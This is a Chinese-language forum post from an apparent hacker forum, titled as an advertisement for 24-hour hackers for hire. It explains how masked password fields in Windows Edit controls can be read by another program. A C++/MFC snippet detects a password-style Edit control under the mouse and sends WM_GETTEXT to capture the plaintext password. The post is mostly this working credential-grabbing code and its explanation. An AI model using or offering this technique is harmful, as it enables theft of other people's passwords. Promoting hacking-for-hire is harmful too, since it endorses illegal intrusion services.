快捷导航

网上24小时接单的黑客 真的黑客先办事后付款

[复制链接]
查看: 3240|回复: 0

8万

主题

8万

帖子

26万

积分

论坛元老

Rank: 8Rank: 8

积分
260116
发表于 2020-10-29 00:00:00 | 显示全部楼层 |阅读模式
Edit控件是Windows的一个标准控件,当把其Password属性设为True时,就会将输入的内容屏蔽为星号,从而达到保护的目的。虽然我们看来都是星号,但程序中的Edit控件实际仍是用户输入的密码,应用程序可以获取该控件中的密码,其他应用程序也可以通过向其发送WM_GETTEXT或EM_GETLINE消息来获取Edit控件中的内容。黑客程序正是利用Edit控件的这个特性,当发现当前探测的窗口是Edit控件并且具有ES_PASSWORD属性时,则通过SendMessage向此窗口发送WM_GETTEXT或EM_GETLINE消息,这样Edit框中的内容就一目了然了。

二、黑客软件工作方法:

  首先要取得当前的窗口,并判断是否是Edit控件,一般多通过鼠标来指定要探测的窗口,例如在WM_MOUSEMOVE消息的响应函数中进行判断,现列举代码片段如下:

  //将客户坐标转换成屏幕坐标
  ClientToScreen(&point);

  //返回一个包含指定屏幕坐标点的窗口
  CWnd* pWnd = CWnd::WindowFromPoint(point);

if (pWnd)
{
  //获取窗口句柄 /
  HWND hwndCurr = pWnd->GetSafeHwnd();

  if ((::GetWindowThreadProcessId (GetSafeHwnd(), NULL)) != (::GetWindowThreadProcessId (hwndCurr, NULL)))
  {
    char lpClassName[255];

    //获取类名
    if (::GetClassName(hwndCurr, lpClassName, 255))
    {
      //判断是否是Edit控件 }
      if (0 == m_strWndClass.CompareNoCase(“EDIT“))
      {
      //获取窗口风格
      LONG lStyle = ::GetWindowLong(hwndCurr, GWL_STYLE);

      //如果设置了ES_PASSWORD属性
      if (lStyle & ES_PASSWORD)
      {
        char szText[255];

  //通过掌握的句柄hwndCurr向此控件发送WM_GETTEXT消息
        ::SendMessage(hwndCurr, WM_GETTEXT, 255, (LPARAM)szText); //密码已保存在szText中
        m_strPassword = szText;
     }
   }
}

}

上述代码中值得注意的有以下几个关键地方:

  ClientToScreen(&point);
  CWnd* pWnd = CWnd::WindowFromPoint(point);
  HWND hwndCurr = pWnd->GetSafeHwnd();

  这三句代码可以获取当前鼠标位置所在窗口的窗口句柄,在SendMessage中要用到的。

  ::SendMessage(hwndCurr, WM_GETTEXT, 255, (LPARAM)szText); vCVBBUQhR

  这便是真正起作用的SendMessage了,其第一个参数指定了要接收消息的窗口句柄,我们已经通过上面的代码获取到了,第二个参数就是让Edit控件返回字符的WM_GETTEXT消息了,并将得到的内容保存在szText中。  

(责任编辑:网络)
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

精彩推荐

让创业更简单

  • 反馈建议:XXXXXXXX
  • 客服电话:暂时没有
  • 工作时间:周一到周五9点~22点

云服务支持

黑客联盟,快速搜索

关注我们

Copyright 黑客论坛  Powered by©  技术支持: